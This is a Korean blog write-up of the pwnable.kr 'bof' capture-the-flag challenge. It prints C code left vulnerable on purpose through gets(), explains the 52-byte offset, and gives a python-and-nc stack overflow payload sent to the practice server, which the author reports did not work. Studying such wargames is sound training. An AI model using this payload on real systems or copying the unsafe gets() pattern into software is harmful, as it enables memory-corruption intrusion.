[ Pwnable.kr ] - bof(buffer overflow)

DPOS·2021년 7월 6일
2

pwnable.kr

목록 보기
3/4
post-thumbnail

문제조건

  • 플래그 얻기
  • 버퍼 오버플로우

문제풀이

앞 문제들과는 다르게 nc로 접속하고, 파일을 다운로드할 수 있게 주어줍니다. (다운로드가 안 될때는 wget 명령어를 써보도록하자)

먼저, bof.c 코드를 까보면

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
	char overflowme[32];
	printf("overflow me : ");
	gets(overflowme);	// smash me!
	if(key == 0xcafebabe){
		system("/bin/sh");
	}
	else{
		printf("Nah..\n");
	}
}
int main(int argc, char* argv[]){
	func(0xdeadbeef);
	return 0;
}

  메인에서 func()에 매개변수(key)로 0xdeadbeef를 보내주고 있습니다. 그리고 key값이 0xcafebabe면 쉘을 딸 수 있습니다. 입력가능한 변수는 overflowme가 있고 자신을 오버플로우 시켜주라고하니 소원을 들어주도록하죠.

  먼저 func()을 살펴봤을 때, 가장 먼저 사용된 call은 printf()일 것이고, 두번째로 사용된 친구가 gets 즉 받고있는 값 [ebp-0x2c]가 overflowme입니다. 그리고 func<+40>부분에 cmp로 [ebp+0x8]와 0xcafebabe를 비교하고 있죠? [ebp+0x8]이 key라는 말이 되겠습니다.

  위에서 나온대로 입력 가능한 부분인 overflowme의 위치가 [ebp-0x2c]고 값을 덮을 부분인 key의 위치가 [ebp+0x8]이므로 overflowme와 key 사이의 거리를 구하면 52가 나옵니다. 그러므로 다음과 같은 페이로드를 작성할 수 있습니다.

(python -c 'print "D"*52+"\xbe\xba\xfe\xca"'; cat) | nc pwnable.kr 9000

이대로 터미널에 붙여 넣어주면

결과사진


 네, 안나옵니다. 친구들을 통해 맥북, 칼리 등에서 굴려도 똑같은 에러가 나오더라고요.(작년 중순쯤엔 잘 되던 친구인데...) 그냥 잘못푼거 아닌가 할 수 있지만, 다른 분들 블로그 돌아다녀 보니 아예 같거나 비슷비슷해서 페이로드에 문제가 있어보이진 않습니다. 이렇게 결론짓게 되어 죄송합니다.

profile
본인 전공빼고 다 하는 사람

0개의 댓글